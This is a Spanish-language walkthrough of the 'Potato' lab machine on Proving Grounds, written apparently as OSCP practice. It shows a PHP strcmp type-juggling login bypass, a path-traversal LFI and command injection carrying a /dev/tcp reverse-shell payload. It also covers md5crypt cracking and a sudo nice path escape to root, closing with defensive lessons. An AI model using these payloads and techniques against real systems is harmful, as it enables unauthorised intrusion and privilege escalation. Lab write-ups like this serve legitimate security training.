the_open_door
café
ESEN

Potato

Proving Grounds PlayMediaLinux192.168.144.101

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#oscp#ftp#source-disclosure#php-type-juggling#auth-bypass#lfi#path-traversal#command-injection#md5crypt#hash-cracking#sudo#gtfobins#nice
TL;DR. Un FTP anónimo filtra index.php.bak, el código del panel de admin: valida con strcmp() y una contraseña fija. Enviando password[] (un array) strcmp devuelve NULL, que en comparación floja == 0 es cierto: bypass de login por type juggling. El dashboard.php lee logs con cat logs/<file>, así que file= es a la vez LFI por path traversal (/etc/passwd) e inyección de comandos (file=;bash -c ...) → shell como www-data. En /etc/passwd, webadmin guarda su hash md5crypt en línea; se crackea a dragon. Y webadmin tiene sudo /bin/nice /notes/*: con un ../ se escapa de /notes y nice ejecuta un script propio como root.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Tres puertos, con un FTP en un puerto no estándar:

sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.144.101
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2112/tcp open  ftp
nmap -p22,80,2112 -sCV 192.168.144.101 -oN targetedScan
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Potato company
2112/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--   1 ftp      ftp           901 Aug  2  2020 index.php.bak
|_-rw-r--r--   1 ftp      ftp            54 Aug  2  2020 welcome.msg

FTP - TCP 2112

El FTP anónimo deja descargar index.php.bak, un backup del código del panel de administración. Es una fuga de código fuente, y con el código en mano la lógica de autenticación queda al descubierto:

ftp -p 192.168.144.101 2112   # anonymous / (cualquier email)
# get index.php.bak

index.php.bak: pass fijo "potato" y login con strcmp()

$pass = "potato";
if($_GET['login']=="1"){
  if (strcmp($_POST['username'], "admin") == 0 && strcmp($_POST['password'], $pass) == 0) {
    echo "Welcome! Go to the dashboard";
    setcookie('pass', $pass, time() + 365*24*3600);
  } else { echo "Bad login/password!"; }
}

Panel admin - TCP 80

dirsearch confirma el panel bajo /admin/:

dirsearch -u http://192.168.144.101 --exclude-status=403,404
# 200 - /admin/  ·  /admin/index.php  ·  /admin/logs/

Shell como www-data

Bypass de login por type juggling

El login compara con strcmp($_POST['password'], $pass) == 0. En PHP, strcmp() recibiendo un array en vez de una cadena no lanza excepción: devuelve NULL (con un warning). Y NULL == 0 es cierto en la comparación floja de PHP. Basta con enviar el parámetro como array (password[]=1) para que ambos strcmp "coincidan" sin conocer la contraseña:

POST /admin/index.php?login=1
username=admin&password[]=1

Burp intercepta el login con username admin y la contraseña enviada como array

Enviar la contraseña como array devuelve Welcome y la cookie pass

La respuesta es el "Welcome! Go to the dashboard" y la cookie pass, que da acceso al dashboard.php.

LFI por path traversal

El dashboard tiene una sección "Logs" que muestra ficheros vía un POST con file=log_01.txt:

La sección Logs del dashboard pide un fichero con file=log_01.txt (interceptado en Burp)

Cambiando ese valor por una ruta con ../ se sale del directorio de logs y se lee cualquier fichero:

file=../../../../../../../../etc/passwd
florianes:x:1000:1000:florianes:/home/florianes:/bin/bash
webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:1001:webadmin:/home/webadmin:/bin/bash

Con file=../../../../etc/passwd por la sección Logs del dashboard, el LFI vuelca /etc/passwd con florianes y webadmin

Dos pistas: existen florianes y webadmin, y este último tiene su hash md5crypt directamente en /etc/passwd (segundo campo, en lugar de x). Antes de crackearlo, conviene entender cómo procesa el backend el parámetro. Leyendo /proc/self/cmdline por el mismo LFI aparece la clave:

file=../../../../../../proc/self/cmdline
# → catlogs/../../../../proc/self/cmdline

El LFI a /proc/self/cmdline revela la línea de comando: catlogs/../../proc/self/cmdline (cat + logs/ pegados)

El backend ejecuta cat logs/<file>: el file se concatena a un comando de shell (se ve el catlogs pegado sin espacio). Eso no es solo LFI, es inyección de comandos.

Command injection → RCE

Antes de disparar la shell, dejamos un nc a la escucha:

nc -nlvp 4444

Como file= cae dentro de cat logs/<file>, un ; cierra el cat y encadena un comando propio. Se mete una reverse shell (URL-encoded):

file=;bash -c "bash -i >& /dev/tcp/<atacante>/4444 0>&1"

La reverse shell aterriza como www-data en el listener

www-data@serv:/var/www/html/admin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell como webadmin

Hash md5crypt en /etc/passwd + crack

Con la shell, un cat /etc/passwd confirma el hash de webadmin que ya se había visto por LFI:

cat /etc/passwd desde la shell de www-data: webadmin con su hash md5crypt $1$webadmin$...

Se pasa a john, que lo identifica como md5crypt y lo rompe con rockyou:

echo '$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/' > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
john --show hash
# ?:dragon
su webadmin       # contraseña: dragon

john identifica el hash como md5crypt y lo rompe con rockyou: ?:dragon

Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
...
$ john --show hash
?:dragon

1 password hash cracked, 0 left

El prefijo $1$ es lo que john usa para identificar el algoritmo (MD5-crypt), sin que haya que decírselo. La contraseña es dragon, y aparece con --show porque john ya la había roto y guardado en su .pot en una ejecución anterior.

Escalada de Privilegios

sudo /bin/nice con path traversal

webadmin tiene una regla de sudo muy específica:

sudo -l
# (ALL : ALL) /bin/nice /notes/*

/bin/nice está en GTFOBins: puede lanzar cualquier ejecutable como el usuario efectivo. La restricción es que el argumento tiene que empezar por /notes/, pero el comodín * no impide un ../: se sale de /notes y se apunta a un script en /tmp. Ese script pone SUID a /bin/bash:

echo 'chmod u+s /bin/bash' > /tmp/privesc.sh
chmod +x /tmp/privesc.sh
sudo /bin/nice /notes/../../../tmp/privesc.sh
ls -l /bin/bash       # -rwsr-xr-x root root → SUID
bash -p
bash-5.0# id
uid=1001(webadmin) gid=1001(webadmin) euid=0(root) groups=1001(webadmin)

proof.txt

bash-5.0# cat /root/proof.txt
7b811f0381239948c9ad8ae379ded99e

sudo /bin/nice ejecuta privesc.sh, /bin/bash queda SUID y bash -p da root

Cadena de ataque

FTP anónimo (2112) → index.php.bak (código del panel)
  └─ login con strcmp(): password[] (array) → NULL == 0 → type juggling bypass
     └─ dashboard.php: file= en "cat logs/<file>"
        ├─ LFI path traversal → /etc/passwd (webadmin con hash md5crypt)
        └─ command injection: file=;bash -c ... → www-data
           └─ john crackea $1$webadmin$... → dragon → su webadmin
              └─ sudo /bin/nice /notes/*  → /notes/../../../tmp/privesc.sh
                 └─ chmod u+s /bin/bash → bash -p → root

Lecciones aprendidas

  • Un .bak en un FTP anónimo es una fuga de código fuente: con la lógica del login a la vista, se ve exactamente qué comparación abusar. Nunca dejar backups del código accesibles.
  • El type juggling de PHP nace de la comparación floja ==: strcmp() con un array devuelve NULL, y NULL == 0 es cierto. Enviar password[] en vez de password salta el login sin conocer la contraseña; la defensa es comparación estricta (===) y validar tipos.
  • El mismo parámetro file= era LFI y command injection porque el backend hacía cat logs/<file>: leer /proc/self/cmdline reveló la concatenación y convirtió una lectura de ficheros en RCE.
  • Guardar un hash en el segundo campo de /etc/passwd (en lugar de x) es válido para el sistema pero deja el hash legible por cualquiera que pueda leer el fichero; md5crypt cae rápido con diccionario.
  • Un sudo <binario> /ruta/* con comodín no confina de verdad: ../ escapa del prefijo. Combinado con un binario GTFOBins como nice, que ejecuta lo que se le pase, el resultado es ejecución arbitraria como root.
Cheatsheet de comandos 11 comandos

Repaso rápido